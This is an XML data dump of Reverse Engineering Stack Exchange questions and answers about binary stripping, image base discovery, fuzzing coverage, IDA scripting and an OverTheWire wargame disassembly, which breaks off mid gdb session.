  <row Id="4670" PostTypeId="2" ParentId="4668" CreationDate="2014-06-23T02:21:48.683" Score="2" Body="&lt;p&gt;Try compiling your program as a static assembly, and strip it using the compiler.  You won't find any 'cling' references in the resultant executable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ g++ -static -s cling.cpp -o cling&#xA;&#xA;$ ls -l cling*&#xA;-rwxr-x--- 1 lornix lornix 1,313,792 Jun 22 19:19 cling*&#xA;-rw-r----- 1 lornix lornix       222 Jun 22 19:16 cling.cpp&#xA;&#xA;$ strings -a cling | grep -ic cling&#xA;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2973" LastActivityDate="2014-06-23T02:21:48.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4671" PostTypeId="1" AcceptedAnswerId="4672" CreationDate="2014-06-23T03:13:59.103" Score="4" ViewCount="1427" Body="&lt;p&gt;As a beginner I'm trying to load an unknown format binary file with IDA Pro,but I don't know the Image Base of this file. Are there any methods to get the Image Base. Could you also reference related papers in your answer. &lt;/p&gt;&#xA;" OwnerUserId="6903" LastEditorUserId="245" LastEditDate="2014-06-23T06:26:51.733" LastActivityDate="2014-06-23T22:30:53.413" Title="Image base of unknown file format?" Tags="|ida|firmware|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4672" PostTypeId="2" ParentId="4671" CreationDate="2014-06-23T04:58:20.720" Score="4" Body="&lt;p&gt;One possible method is if there are string tables present, and pointer tables to those strings, is load the bin into IDA at zero and find the strings, then write a program to search the binary looking for int32 differences that matched the differences in the start of each string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for byte/word/int's in big/little endian formats, and once you find the match, then you can calc the correct base from the difference from you search address and the resulting address/pointer table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the C# code I used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static void SearchDumpsForIntDiff(string filename, params int[] dcode)&#xA;{&#xA;    var sw = new StreamWriter(File.Open(filename + &quot;status.txt&quot;, FileMode.Create, FileAccess.Write, FileShare.ReadWrite));&#xA;&#xA;    byte[] data = File.ReadAllBytes(filename);&#xA;&#xA;    if (data.Length == 0) return;&#xA;&#xA;    int dl = dcode.Length;&#xA;    for(int loc = 0; loc &amp;lt; (data.Length - (dcode.Length*4)); loc++)     &#xA;    {&#xA;        for(int off = 0; off &amp;lt; (dcode.Length-1); off++)&#xA;        {&#xA;            int t1 = dcode[off];&#xA;            int t2 = dcode[off + 1];&#xA;            int d1 = (t2 - t1)/8;&#xA;            int v1 = (int)ReadUint32(data, loc + ((off + 0) * 4));&#xA;            int v2 = (int)ReadUint32(data, loc + ((off + 1) * 4));&#xA;&#xA;            int d2 = v2 - v1; &#xA;&#xA;            if( d1 != d2 )&#xA;                break;&#xA;&#xA;            if( off == (dcode.Length-2))&#xA;            {                            &#xA;                sw.WriteLine(&quot;Match at {0:X8}&quot;,  loc);&#xA;                Console.WriteLine(&quot;Match at {0:X8}&quot;,  loc);&#xA;            }&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    sw.Close();&#xA;    sw.Dispose();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I used like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SearchDumpsForIntDiff(@&quot;Nikon\D7000Update\b750103a.bin&quot;, 0x79DF9A, 0x79DFB2, 0x79DFBA, 0x79DFC2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-06-23T22:30:53.413" LastActivityDate="2014-06-23T22:30:53.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4673" PostTypeId="2" ParentId="4671" CreationDate="2014-06-23T04:58:33.447" Score="5" Body="&lt;p&gt;I wrote something for Cortex M3 MCUs here:&#xA;&lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/comments/21kgtc/beginners_project_logitech_g940_firmware/cgeokv3&quot; rel=&quot;noreferrer&quot;&gt;http://www.reddit.com/r/ReverseEngineering/comments/21kgtc/beginners_project_logitech_g940_firmware/cgeokv3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you didn't write anything about the device your blob is for and how it gets there no conclusion can be made from us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you really need to know which CPU you have, where the flash memory is at and how vector tables and such work on this specific model to determine something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some MCUs have a bootloader at the beginning of the flash and the user code is begind it, other MCUs have the bootloader in the upper region of the flash and user code starts at the front.&lt;/p&gt;&#xA;" OwnerUserId="3353" LastActivityDate="2014-06-23T04:58:33.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4674" PostTypeId="2" ParentId="4668" CreationDate="2014-06-23T05:51:19.073" Score="4" Body="&lt;p&gt;It is possible that you are using RTTI.&#xA;Try compiling your code with option &lt;code&gt;-fno-rtti&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: It is really RTTI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how exactly it works, but I succeeded to remove those strings as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ g++ -Xlinker -unexported_symbol -Xlinker &quot;*&quot; -o executable file.cpp&#xA;$ strip executable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This was found at &lt;a href=&quot;https://stackoverflow.com/questions/1931626/how-to-really-strip-a-binary-in-macos&quot;&gt;https://stackoverflow.com/questions/1931626/how-to-really-strip-a-binary-in-macos&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-06-23T12:21:37.873" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4675" PostTypeId="2" ParentId="4669" CreationDate="2014-06-23T07:35:41.617" Score="2" Body="&lt;p&gt;You could use Kali which is designed for that purpose. &#xA;&lt;a href=&quot;http://www.kali.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.kali.org/&lt;/a&gt; &#xA;You can either install it onto your machine or use VM to execute it or even use it as LiveCD.&lt;/p&gt;&#xA;" OwnerUserId="4413" LastActivityDate="2014-06-23T07:35:41.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4676" PostTypeId="2" ParentId="4668" CreationDate="2014-06-23T10:59:12.443" Score="1" Body="&lt;p&gt;The toolbox &lt;a href=&quot;http://www.muppetlabs.com/%7Ebreadbox/software/elfkickers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELFKicker&lt;/a&gt; has an utility called &lt;code&gt;sstrip&lt;/code&gt; that strip an ELF executable down to the bones.&lt;/p&gt;&#xA;&lt;p&gt;But, it seems that you are using Mach-O executable format. So, I would recommend to look at the &lt;a href=&quot;https://github.com/BR903/ELFkickers/blob/master/sstrip/sstrip.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code of &lt;code&gt;sstrip&lt;/code&gt;&lt;/a&gt; and build your own stripper.&lt;/p&gt;&#xA;&lt;p&gt;You can also take a look at the &lt;a href=&quot;https://github.com/gdbinit/otool-ng/blob/master/cctools/misc/strip.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code of the &lt;code&gt;strip&lt;/code&gt; command for Mach-O&lt;/a&gt; and get inspiration. And, also, this &lt;a href=&quot;https://web.archive.org/web/20150528181706/http://src.chromium.org/svn/trunk/src/build/mac/strip_save_dsym&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python script &lt;code&gt;strip_save_dsym&lt;/code&gt;&lt;/a&gt; might also give some hints.&lt;/p&gt;&#xA;&lt;p&gt;Finally, here are a few comparisons between ELF and Mach-O formats:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://timetobleed.com/dynamic-linking-elf-vs-mach-o/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic Linking: ELF vs. Mach-O&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://timetobleed.com/dynamic-symbol-table-duel-elf-vs-mach-o-round-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic symbol table duel: ELF vs Mach-O, round 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20200103161741/http://osxbook.com/blog/2009/03/15/crafting-a-tiny-mach-o-executable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Crafting a Tiny Mach-O Executable&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="13506" LastEditDate="2022-04-25T16:50:09.360" LastActivityDate="2022-04-25T16:50:09.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="4677" PostTypeId="2" ParentId="3098" CreationDate="2014-06-23T13:13:26.660" Score="5" Body="&lt;p&gt;It's possible since &lt;a href=&quot;http://hopperapp.tumblr.com/post/76212665426/hopper-disassembler-v3-at-last-its-almost&quot; rel=&quot;noreferrer&quot;&gt;Hopper v3&lt;/a&gt;, under &lt;code&gt;File &amp;gt; Read Debug Symbols File...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kQ2vf.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1547" LastActivityDate="2014-06-23T13:13:26.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4678" PostTypeId="1" CreationDate="2014-06-23T16:35:11.500" Score="16" ViewCount="5161" Body="&lt;p&gt;I have been fuzzing Adobe Reader lately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the issues that I face is Code coverage. How do I determine that I have covered all the basic blocks in Adobe Reader and it's libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any script or tool to find basic blocks of all selected EXE and DLL statically? I mean, I want to get all the Basic Blocks in the corresponding EXE's and libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I'm using PIN to do so. But, it does not show how many basic blocks I have covered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My aim is to create a script that will scan the given directory and write all the basic blocks in a file so that I can create a graph and so.&lt;/p&gt;&#xA;" OwnerUserId="4671" LastEditorUserId="245" LastEditDate="2020-05-29T19:44:20.297" LastActivityDate="2020-06-04T10:20:22.540" Title="Code Coverage - Fuzzing" Tags="|binary-analysis|static-analysis|fuzzing|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4679" PostTypeId="2" ParentId="4678" CreationDate="2014-06-23T19:57:24.033" Score="20" Body="&lt;p&gt;Correct disassembly of an executable is known to be undecidable in the general case (this problem can obviously be related to the famous halting problem of a Turing machine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, extracting all the basic blocks of a binary program is a very difficult problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, there are several techniques to try to approach a best effort coverage of the instructions. One of the most efficient technique is to use, both, concrete and symbolic exploration of the program. This is what is implemented in the Microsoft Research SAGE tool. See &lt;a href=&quot;http://research.microsoft.com/en-us/um/people/pg/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Patrice Godefroid's homepage&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the SAGE tool is only for Microsoft Research internal use. But, in fact, Patrice Godefroid's &lt;a href=&quot;http://research.microsoft.com/en-us/um/people/pg/public_psfiles/pldi2005.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;first idea&lt;/a&gt; is at the origin of many other tools such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://klee.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;KLEE&lt;/a&gt; (&lt;a href=&quot;https://klee.github.io/tutorials/testing-function/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Testing a Small Function&lt;/a&gt;, tutorial);&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.forallsecure.com/solutions/devsecops/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mayhem&lt;/a&gt; (see &lt;a href=&quot;http://users.ece.cmu.edu/~aavgerin/papers/mayhem-oakland-12.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt;);&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/JonathanSalwan/stuffz/blob/master/Pin-tool-InMemoryFuzzing.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pintool Memory Fuzzing&lt;/a&gt; by Jonathan Salwan (&lt;a href=&quot;http://shell-storm.org/blog/In-Memory-fuzzing-with-Pin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;In-Memory fuzzing with Pin&lt;/a&gt; and &lt;a href=&quot;http://shell-storm.org/blog/Binary-analysis-Concolic-execution-with-Pin-and-z3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binary analysis: Concolic execution with Pin and z3&lt;/a&gt;, blog posts);&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/vrtadmin/moflow/tree/master/BAP-0.7-moflow/custom_utils/egas&quot; rel=&quot;nofollow noreferrer&quot;&gt;EGAS&lt;/a&gt; a SAGE clone part of the Moflow project and based on the BAP platform;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/piscou/FuzzWin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FuzzWin&lt;/a&gt; by Sébastien Lecomte;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/silviocesare/Fuzzer&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Collection of Binary Fuzzers based on this idea&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openrce.org/blog/view/2049/%5Bvideo%5D_Semi-Automated_Input_Crafting_by_Symbolic_Execution,_with_an_Application_to_Automatic_Key_Generator_Generation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Semi-Automated Input Crafting by Symbolic Execution, with an Application to Automatic Key Generator Generation&lt;/a&gt; by Rolf Rolles;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://seanhn.wordpress.com/category/binary-instrumentation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;A few blog posts about binary analysis&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyway, there is still plenty of room to implement new tools with better handling of the binary program and with better support. So, feel free to start ! ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2020-05-27T11:48:43.910" LastActivityDate="2020-05-27T11:48:43.910" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="4680" PostTypeId="2" ParentId="4678" CreationDate="2014-06-23T22:12:23.567" Score="5" Body="&lt;p&gt;You can write an IDA script or create an IDA plugin to gather all basic blocks in a program. Sample plugin code to gather all basic blocks can be found in &lt;a href=&quot;http://www.hexblog.com/ida_pro/files/coverit.zip&quot; rel=&quot;noreferrer&quot;&gt;http://www.hexblog.com/ida_pro/files/coverit.zip&lt;/a&gt; -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;// Find all basic blocks in the specified area&#xA;static bool gather_basic_blocks(ea_t ea1, ea_t ea2)&#xA;{&#xA;  show_wait_box(&quot;Finding basic blocks&quot;);&#xA;  ea_t start = BADADDR;&#xA;  bool ok = true;&#xA;  int cnt = 0;&#xA;  while ( true )&#xA;  {&#xA;    if ( wasBreak() )&#xA;    {&#xA;      ok = false;&#xA;      break;&#xA;    }&#xA;    if ( ++cnt == 1000 )&#xA;    {&#xA;      showAddr(ea1);&#xA;      cnt = 0;&#xA;    }&#xA;    if ( start == BADADDR )&#xA;    {&#xA;      ea1 = nextthat(ea1, ea2, f_isCode, NULL);&#xA;      if ( ea1 &amp;gt;= ea2 )&#xA;        break;&#xA;      start = ea1;&#xA;    }&#xA;    while ( ea1 &amp;lt; ea2 )&#xA;    {&#xA;      if ( !ua_ana0(ea1) )&#xA;        break;&#xA;      ea1 = get_item_end(ea1);&#xA;      if ( is_basic_block_end(true) )&#xA;        break;&#xA;    }&#xA;    if ( ea1 != start )&#xA;      bbs[start] = ea1 - start; // remember the bb start and size&#xA;    if ( !isCode(get_flags_novalue(ea1)) )&#xA;      start = BADADDR;&#xA;    else&#xA;      start = ea1;&#xA;  }&#xA;  hide_wait_box();&#xA;  return ok;&#xA;}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-06-23T22:12:23.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4681" PostTypeId="2" ParentId="4473" CreationDate="2014-06-23T23:51:31.437" Score="2" Body="&lt;p&gt;Ok, I find an area in a ARM bin, that was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RAM0:100DE337                 DCB    0&#xA;RAM0:100DE338                 DCB    0&#xA;RAM0:100DE339                 DCB    0&#xA;RAM0:100DE33A                 DCB 0x80 ; Ç&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;selecting &lt;code&gt;Edit | Operand type | Number | Floating point&lt;/code&gt; results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RAM0:100DE337                 DCB 0, 0, 0, 0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;D&lt;/kbd&gt; means I can now toggle between byte, word, dword, and above 'float'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;having it in above form, then going to Hex View, pressing &lt;kbd&gt;F2&lt;/kbd&gt; to edit to all &lt;code&gt;0x00&lt;/code&gt;, &lt;kbd&gt;F2&lt;/kbd&gt;, and returning to Asm View and &lt;code&gt;0.0&lt;/code&gt; is shown, then returning to Hex and resetting &lt;code&gt;0x80&lt;/code&gt; value, results in above float format again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;changing the &lt;code&gt;0x80&lt;/code&gt; to &lt;code&gt;0x70&lt;/code&gt; shows &lt;code&gt;1.5846e29&lt;/code&gt; which matches what an &lt;a href=&quot;http://www.binaryconvert.com/result_float.html?hexadecimal=80000000&quot; rel=&quot;nofollow&quot;&gt;Online Float converter&lt;/a&gt; shows for &lt;code&gt;0x70000000&lt;/code&gt;, and on that site &lt;code&gt;0x80000000&lt;/code&gt; is &lt;code&gt;-0.0&lt;/code&gt; as in original question. Given the value is &lt;code&gt;-0&lt;/code&gt;, Guntram's suggest of just turning it to zero makes the most sense to manage the &quot;issue&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested with Version 6.6.140605 (32-bit)&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="53" LastEditDate="2014-06-24T07:47:58.993" LastActivityDate="2014-06-24T07:47:58.993" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4682" PostTypeId="1" AcceptedAnswerId="4683" CreationDate="2014-06-24T01:49:07.347" Score="2" ViewCount="2122" Body="&lt;p&gt;On starting &lt;code&gt;notepad.exe&lt;/code&gt; with Ollydbg, I see that &lt;code&gt;eax&lt;/code&gt; has a value that points at &lt;code&gt;kernel32.BaseThreadInitThunk&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;notepad.exe&lt;/code&gt; does not seem to import &lt;code&gt;kernel32.dll::BaseThreadInitThunk&lt;/code&gt;.&#xA;I cannot find that function, by running dependency walker on &lt;code&gt;notepad.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can &lt;code&gt;kernel32.dll::BaseThreadInitThunk&lt;/code&gt; function be executed without importing it ?&lt;/p&gt;&#xA;" OwnerUserId="6908" LastEditorUserId="53" LastEditDate="2014-06-24T06:23:00.060" LastActivityDate="2014-06-24T06:23:00.060" Title="kernel32.BaseThreadInitThunk without IAT" Tags="|windows|dll|iat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4683" PostTypeId="2" ParentId="4682" CreationDate="2014-06-24T03:57:23.817" Score="2" Body="&lt;p&gt;It is just a coincidence. It happens sometimes that the value in a register be the address of some valid api which the application has nothing to do about. For reference see these images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have loaded OllyDbg2 in OllyDbg2. OllyDbg2 does not import &lt;code&gt;kernel32.dll::BaseThreadInitThunk&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K1APm.jpg&quot; alt=&quot;In Windows 7&quot;&gt;&#xA;&lt;strong&gt;Ollydbg in Windows 7&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tb2Pj.jpg&quot; alt=&quot;In Windows XP&quot;&gt;&#xA;&lt;strong&gt;Ollydbg in Windows XP&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windows 7 on entrypoint the value of &lt;code&gt;eax&lt;/code&gt; is the address of &lt;code&gt;BaseThreadInitThunk&lt;/code&gt;. However on Windows XP the value of &lt;code&gt;eax&lt;/code&gt; is 0.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-06-24T03:57:23.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4684" PostTypeId="1" AcceptedAnswerId="4761" CreationDate="2014-06-24T14:06:27.840" Score="4" ViewCount="3715" Body="&lt;p&gt;Spotted an interesting problem when trying to determine which type of structure (since &lt;code&gt;isStruct(getFlags(ea))&lt;/code&gt; returns &lt;code&gt;True&lt;/code&gt;) is defined at the given address in the DB. Reading through &lt;code&gt;idc.py&lt;/code&gt; didn't help much.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Define a &lt;code&gt;struct&lt;/code&gt; in the &quot;structures&quot; window.&lt;/li&gt;&#xA;&lt;li&gt;It gets assigned a &lt;code&gt;struct&lt;/code&gt; ID, so, it can be accessed from IDC/Python scripts.&lt;/li&gt;&#xA;&lt;li&gt;Now, define a &lt;code&gt;struct&lt;/code&gt; variable somewhere in e.g. the &lt;code&gt;.data&lt;/code&gt; section.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A solid example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Some Python code&#xA;strid = idaapi.get_struc_id('_s__RTTIClassHierarchyDescriptor')&#xA;size = idaapi.get_struc_size(strid)&#xA;idaapi.doStruct(ea, size, strid)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How, knowing the &lt;code&gt;ea&lt;/code&gt;, do I get the &lt;code&gt;strid&lt;/code&gt; value ?&lt;/p&gt;&#xA;" OwnerUserId="6910" LastEditorUserId="53" LastEditDate="2014-06-25T11:33:14.823" LastActivityDate="2022-02-07T12:58:53.577" Title="IDAPython: Get struct id defined at an address" Tags="|idapython|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4685" PostTypeId="1" CreationDate="2014-06-24T14:33:47.713" Score="2" ViewCount="175" Body="&lt;p&gt;&lt;a href=&quot;http://resources.infosecinstitute.com/data-exfiltration-techniques/&quot; rel=&quot;nofollow&quot;&gt;http://resources.infosecinstitute.com/data-exfiltration-techniques/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am teaching myself to identify exfiltration of sensitive data with malicious binaries. One thing I have noticed, is in most examples a rather easy spot system call to some sort of http related function is made. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true in all cases, or do some malware have a way of hiding their network access routines? How would you spot this? or do malware authors simply not bother? &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2014-06-25T14:33:55.187" Title="Is data exfiltration possible without obvious system calls?" Tags="|malware|" AnswerCount="1" CommentCount="4" ClosedDate="2014-06-27T15:55:58.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="4686" PostTypeId="1" CreationDate="2014-06-24T14:36:31.690" Score="2" ViewCount="16855" Body="&lt;p&gt;I am playing a wargame at &lt;a href=&quot;http://overthewire.org/wargames/narnia/&quot; rel=&quot;nofollow&quot;&gt;narnia.labs.overthewire.org&lt;/a&gt;. I came arcoss a level called &lt;code&gt;narnia0&lt;/code&gt; which requires me to change the value &lt;code&gt;0x414141414&lt;/code&gt; into &lt;code&gt;0xdeadbeef&lt;/code&gt;. So far, I have already looked at the source code and reverse engineered the binary. What is 0xdeadbeef in exploitation and how do I change the value from &lt;code&gt;0x414141&lt;/code&gt; in &lt;code&gt;ebp&lt;/code&gt; to &lt;code&gt;0xdeadbeef&lt;/code&gt;. I've done some research in hexadecimal values/conversion for this challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is &lt;code&gt;0xdeadbeef&lt;/code&gt; in general and how does it realate in exploiation? How do I change &lt;code&gt;ebp&lt;/code&gt; value &lt;code&gt;0x41414141&lt;/code&gt; to &lt;code&gt;0xdeadbeef&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see my problem analysis below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080484c4 &amp;lt;main&amp;gt;:&#xA;  80484c4:       55                      push   %ebp&#xA;  80484c5:       89 e5                   mov    %esp,%ebp&#xA;  80484c7:       83 e4 f0                and    $0xfffffff0,%esp&#xA;  80484ca:       83 ec 30                sub    $0x30,%esp&#xA;  80484cd:       c7 44 24 2c 41 41 41    movl   $0x41414141,0x2c(%esp)&#xA;  80484d4:       41 &#xA;  80484d5:       c7 04 24 40 86 04 08    movl   $0x8048640,(%esp)&#xA;  80484dc:       e8 cf fe ff ff          call   80483b0 &amp;lt;puts@plt&amp;gt;&#xA;  80484e1:       b8 73 86 04 08          mov    $0x8048673,%eax&#xA;  80484e6:       89 04 24                mov    %eax,(%esp)&#xA;  80484e9:       e8 b2 fe ff ff          call   80483a0 &amp;lt;printf@plt&amp;gt;&#xA;  80484ee:       b8 89 86 04 08          mov    $0x8048689,%eax&#xA;  80484f3:       8d 54 24 18             lea    0x18(%esp),%edx&#xA;  80484f7:       89 54 24 04             mov    %edx,0x4(%esp)&#xA;  80484fb:       89 04 24                mov    %eax,(%esp)&#xA;  80484fe:       e8 fd fe ff ff          call   8048400 &amp;lt;__isoc99_scanf@plt&amp;gt;&#xA;  8048503:       b8 8e 86 04 08          mov    $0x804868e,%eax&#xA;  8048508:       8d 54 24 18             lea    0x18(%esp),%edx&#xA;  804850c:       89 54 24 04             mov    %edx,0x4(%esp)&#xA;  8048510:       89 04 24                mov    %eax,(%esp)&#xA;  8048513:       e8 88 fe ff ff          call   80483a0 &amp;lt;printf@plt&amp;gt;&#xA;  8048518:       b8 97 86 04 08          mov    $0x8048697,%eax&#xA;  804851d:       8b 54 24 2c             mov    0x2c(%esp),%edx &#xA;  8048521:       89 54 24 04             mov    %edx,0x4(%esp)&#xA;  8048525:       89 04 24                mov    %eax,(%esp)&#xA;  8048528:       e8 73 fe ff ff          call   80483a0 &amp;lt;printf@plt&amp;gt;&#xA;  804852d:       81 7c 24 2c ef be ad    cmpl   $0xdeadbeef,0x2c(%esp)&#xA;  8048534:       de &#xA;  8048535:       75 13                   jne    804854a &amp;lt;main+0x86&amp;gt;&#xA;  8048537:       c7 04 24 a4 86 04 08    movl   $0x80486a4,(%esp)&#xA;  804853e:       e8 7d fe ff ff          call   80483c0 &amp;lt;system@plt&amp;gt;&#xA;  8048543:       b8 00 00 00 00          mov    $0x0,%eax&#xA;  8048548:       c9                      leave  &#xA;  8048549:       c3                      ret    &#xA;  804854a:       c7 04 24 ac 86 04 08    movl   $0x80486ac,(%esp)&#xA;  8048551:       e8 5a fe ff ff          call   80483b0 &amp;lt;puts@plt&amp;gt;&#xA;  8048556:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)&#xA;  804855d:       e8 7e fe ff ff          call   80483e0 &amp;lt;exit@plt&amp;gt;&#xA;  8048562:       90                      nop&#xA;  8048563:       90                      nop&#xA;  8048564:       90                      nop&#xA;  8048565:       90                      nop&#xA;  8048566:       90                      nop&#xA;  8048567:       90                      nop&#xA;  8048568:       90                      nop&#xA;  8048569:       90                      nop&#xA;  804856a:       90                      nop&#xA;  804856b:       90                      nop&#xA;  804856c:       90                      nop&#xA;  804856d:       90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the binary takes input from the user and then prints a challenge message. And, also, I know somewhere else in the binary it does compare to a value and takes two paths of either you getting the flag or trying again. For solving this challenge I have already tried overwriting the &lt;code&gt;ebp&lt;/code&gt; register but nothing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;narnia0@melinda:/games/narnia$ gdb ./narnia0&#xA;(gdb) dissasemble main&#xA;Undefined command: &quot;dissasemble&quot;.  Try &quot;help&quot;.&#xA;(gdb) b * main&#xA;Breakpoint 1 at 0x80484c4&#xA;(gdb) b * main+105 &#xA;Breakpoint 2 at 0x804852d&#xA;(gdb) r&#xA;Starting 